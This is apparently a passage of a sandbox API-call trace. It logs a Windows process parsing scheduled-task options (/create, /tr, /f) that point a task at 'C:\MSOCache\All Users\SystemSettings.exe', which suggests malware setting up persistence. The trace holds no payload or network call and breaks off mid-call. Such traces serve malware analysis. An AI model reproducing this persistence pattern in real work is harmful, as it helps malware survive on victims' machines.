0x2253351000 [0133.078] lstrlenW (lpString="sc") returned 2 [0133.078] lstrlenW (lpString="sc") returned 2 [0133.078] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.078] lstrlenW (lpString="tr") returned 2 [0133.078] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.078] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.078] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.078] lstrlenW (lpString="|sc|") returned 4 [0133.078] lstrlenW (lpString="|tr|") returned 4 [0133.079] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0133.079] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.079] lstrlenW (lpString="mo") returned 2 [0133.079] lstrlenW (lpString="mo") returned 2 [0133.079] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.079] lstrlenW (lpString="tr") returned 2 [0133.079] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.079] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.079] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.079] lstrlenW (lpString="|mo|") returned 4 [0133.079] lstrlenW (lpString="|tr|") returned 4 [0133.079] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0133.079] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.079] lstrlenW (lpString="d") returned 1 [0133.079] lstrlenW (lpString="d") returned 1 [0133.079] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.079] lstrlenW (lpString="tr") returned 2 [0133.079] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.079] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|d|") returned 3 [0133.079] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.079] lstrlenW (lpString="|d|") returned 3 [0133.079] lstrlenW (lpString="|tr|") returned 4 [0133.079] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.079] lstrlenW (lpString="m") returned 1 [0133.079] lstrlenW (lpString="m") returned 1 [0133.080] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] lstrlenW (lpString="tr") returned 2 [0133.080] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|m|") returned 3 [0133.080] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.080] lstrlenW (lpString="|m|") returned 3 [0133.080] lstrlenW (lpString="|tr|") returned 4 [0133.080] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.080] lstrlenW (lpString="i") returned 1 [0133.080] lstrlenW (lpString="i") returned 1 [0133.080] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] lstrlenW (lpString="tr") returned 2 [0133.080] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|i|") returned 3 [0133.080] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.080] lstrlenW (lpString="|i|") returned 3 [0133.080] lstrlenW (lpString="|tr|") returned 4 [0133.080] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.080] lstrlenW (lpString="tn") returned 2 [0133.080] lstrlenW (lpString="tn") returned 2 [0133.080] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] lstrlenW (lpString="tr") returned 2 [0133.080] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.080] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.081] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.081] lstrlenW (lpString="|tn|") returned 4 [0133.081] lstrlenW (lpString="|tr|") returned 4 [0133.081] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] lstrlenW (lpString="tr") returned 2 [0133.081] lstrlenW (lpString="tr") returned 2 [0133.081] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.081] lstrlenW (lpString="tr") returned 2 [0133.081] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.081] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.081] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.081] lstrlenW (lpString="|tr|") returned 4 [0133.081] lstrlenW (lpString="|tr|") returned 4 [0133.081] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.081] lstrlenW (lpString="-/") returned 2 [0133.081] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.081] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.081] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0133.081] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.082] _memicmp (_Buf1=0x1685a9b4790, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.082] _memicmp (_Buf1=0x1685a9baa40, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] lstrlenW (lpString="'C") returned 2 [0133.082] lstrlenW (lpString="-/") returned 2 [0133.082] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.082] _memicmp (_Buf1=0x1685a9baa60, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.082] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.082] GetProcessHeap () returned 0x1685a9b0000 [0133.082] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bac00) returned 1 [0133.082] GetProcessHeap () returned 0x1685a9b0000 [0133.082] RtlReAllocateHeap (Heap=0x1685a9b0000, Flags=0xc, Ptr=0x1685a9bac00, Size=0x56) returned 0x1685a9b4730 [0133.082] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.082] lstrlenW (lpString=" \x09") returned 2 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.082] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0133.083] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0133.083] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.084] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.084] GetLastError () returned 0x0 [0133.084] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.084] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0133.084] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.084] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.084] lstrlenW (lpString="/f") returned 2 [0133.084] lstrlenW (lpString="-/") returned 2 [0133.084] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.084] lstrlenW (lpString="create") returned 6 [0133.084] lstrlenW (lpString="create") returned 6 [0133.084] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.084] lstrlenW (lpString="f") returned 1 [0133.084] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.084] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.084] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.084] lstrlenW (lpString="|create|") returned 8 [0133.084] lstrlenW (lpString="|f|") returned 3 [0133.085] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0133.085] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.085] lstrlenW (lpString="?") returned 1 [0133.085] lstrlenW (lpString="?") returned 1 [0133.085] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.085] lstrlenW (lpString="f") returned 1 [0133.085] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.085] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|?|") returned 3 [0133.085] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.085] lstrlenW (lpString="|?|") returned 3 [0133.085] lstrlenW (lpString="|f|") returned 3 [0133.085] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0133.085] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.085] lstrlenW (lpString="s") returned 1 [0133.085] lstrlenW (lpString="s") returned 1 [0133.085] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.085] lstrlenW (lpString="f") returned 1 [0133.085] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.085] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|s|") returned 3 [0133.085] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.085] lstrlenW (lpString="|s|") returned 3 [0133.085] lstrlenW (lpString="|f|") returned 3 [0133.085] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0133.085] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.086] lstrlenW (lpString="u") returned 1 [0133.086] lstrlenW (lpString="u") returned 1 [0133.086] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.086] lstrlenW (lpString="f") returned 1 [0133.086] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.086] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|u|") returned 3 [0133.086] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.086] lstrlenW (lpString="|u|") returned 3 [0133.086] lstrlenW (lpString="|f|") returned 3 [0133.086] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0133.086] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.086] lstrlenW (lpString="p") returned 1 [0133.086] lstrlenW (lpString="p") returned 1 [0133.086] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.086] lstrlenW (lpString="f") returned 1 [0133.086] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.086] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|p|") returned 3 [0133.086] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.086] lstrlenW (lpString="|p|") returned 3 [0133.086] lstrlenW (lpString="|f|") returned 3 [0133.086] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0133.086] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.086] lstrlenW (lpString="ru") returned 2 [0133.086] lstrlenW (lpString="ru") returned 2 [0133.086] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.087] lstrlenW (lpString="f") returned 1 [0133.087] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.087] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ru|") returned 4 [0133.087] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.087] lstrlenW (lpString="|ru|") returned 4 [0133.087] lstrlenW (lpString="|f|") returned 3 [0133.087] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0133.087] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.087] lstrlenW (lpString="rp") returned 2 [0133.087] lstrlenW (lpString="rp") returned 2 [0133.087] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.087] lstrlenW (lpString="f") returned 1 [0133.087] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.087] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|rp|") returned 4 [0133.087] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.087] lstrlenW (lpString="|rp|") returned 4 [0133.087] lstrlenW (lpString="|f|") returned 3 [0133.087] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0133.087] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.087] lstrlenW (lpString="sc") returned 2 [0133.087] lstrlenW (lpString="sc") returned 2 [0133.108] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.108] lstrlenW (lpString="f") returned 1 [0133.108] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.108] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.108] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.108] lstrlenW (lpString="|sc|") returned 4 [0133.108] lstrlenW (lpString="|f|") returned 3 [0133.109] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0133.109] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.109] lstrlenW (lpString="mo") returned 2 [0133.109] lstrlenW (lpString="mo") returned 2 [0133.109] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.109] lstrlenW (lpString="f") returned 1 [0133.109] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.109] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.109] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.109] lstrlenW (lpString="|mo|") returned 4 [0133.109] lstrlenW (lpString="|f|") returned 3 [0133.109] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0133.109] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.109] lstrlenW (lpString="d") returned 1 [0133.109] lstrlenW (lpString="d") returned 1 [0133.109] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.109] lstrlenW (lpString="f") returned 1 [0133.109] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.109] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|d|") returned 3 [0133.109] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.109] lstrlenW (lpString="|d|") returned 3 [0133.109] lstrlenW (lpString="|f|") returned 3 [0133.109] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0133.109] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.110] lstrlenW (lpString="m") returned 1 [0133.110] lstrlenW (lpString="m") returned 1 [0133.110] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.110] lstrlenW (lpString="f") returned 1 [0133.110] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.110] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|m|") returned 3 [0133.110] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.110] lstrlenW (lpString="|m|") returned 3 [0133.110] lstrlenW (lpString="|f|") returned 3 [0133.110] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0133.110] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.110] lstrlenW (lpString="i") returned 1 [0133.110] lstrlenW (lpString="i") returned 1 [0133.110] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.110] lstrlenW (lpString="f") returned 1 [0133.110] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.110] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|i|") returned 3 [0133.110] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.110] lstrlenW (lpString="|i|") returned 3 [0133.110] lstrlenW (lpString="|f|") returned 3 [0133.110] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0133.110] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.110] lstrlenW (lpString="tn") returned 2 [0133.110] lstrlenW (lpString="tn") returned 2 [0133.110] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.111] lstrlenW (lpString="f") returned 1 [0133.111] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.111] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.111] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.111] lstrlenW (lpString="|tn|") returned 4 [0133.111] lstrlenW (lpString="|f|") returned 3 [0133.111] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0133.111] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.111] lstrlenW (lpString="tr") returned 2 [0133.111] lstrlenW (lpString="tr") returned 2 [0133.111] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.111] lstrlenW (lpString="f") returned 1 [0133.111] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.111] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.111] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.111] lstrlenW (lpString="|tr|") returned 4 [0133.111] lstrlenW (lpString="|f|") returned 3 [0133.111] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0133.111] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.111] lstrlenW (lpString="st") returned 2 [0133.111] lstrlenW (lpString="st") returned 2 [0133.111] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.111] lstrlenW (lpString="f") returned 1 [0133.112] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.112] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|st|") returned 4 [0133.112] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.112] lstrlenW (lpString="|st|") returned 4 [0133.112] lstrlenW (lpString="|f|") returned 3 [0133.112] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0133.112] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.112] lstrlenW (lpString="sd") returned 2 [0133.112] lstrlenW (lpString="sd") returned 2 [0133.112] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.112] lstrlenW (lpString="f") returned 1 [0133.112] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.112] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sd|") returned 4 [0133.112] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.112] lstrlenW (lpString="|sd|") returned 4 [0133.112] lstrlenW (lpString="|f|") returned 3 [0133.112] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0133.112] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.112] lstrlenW (lpString="ed") returned 2 [0133.112] lstrlenW (lpString="ed") returned 2 [0133.112] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.112] lstrlenW (lpString="f") returned 1 [0133.112] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.112] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ed|") returned 4 [0133.113] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|f|") returned 3 [0133.113] lstrlenW (lpString="|ed|") returned 4 [0133.113] lstrlenW (lpString="|f|") returned 3 [0133.113] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0133.113] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.113] lstrlenW (lpString="it") returned 2 [0133.113] lstrlenW (lpString="it") returned 2 [0133.113] _memicmp (_Buf1=0x1685a9b4350, 